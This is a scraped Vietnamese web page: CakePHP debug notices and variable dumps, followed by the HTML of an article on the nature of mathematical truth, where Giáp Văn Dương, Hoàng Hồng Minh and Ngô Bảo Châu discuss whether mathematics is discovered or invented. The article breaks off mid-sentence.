'27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái 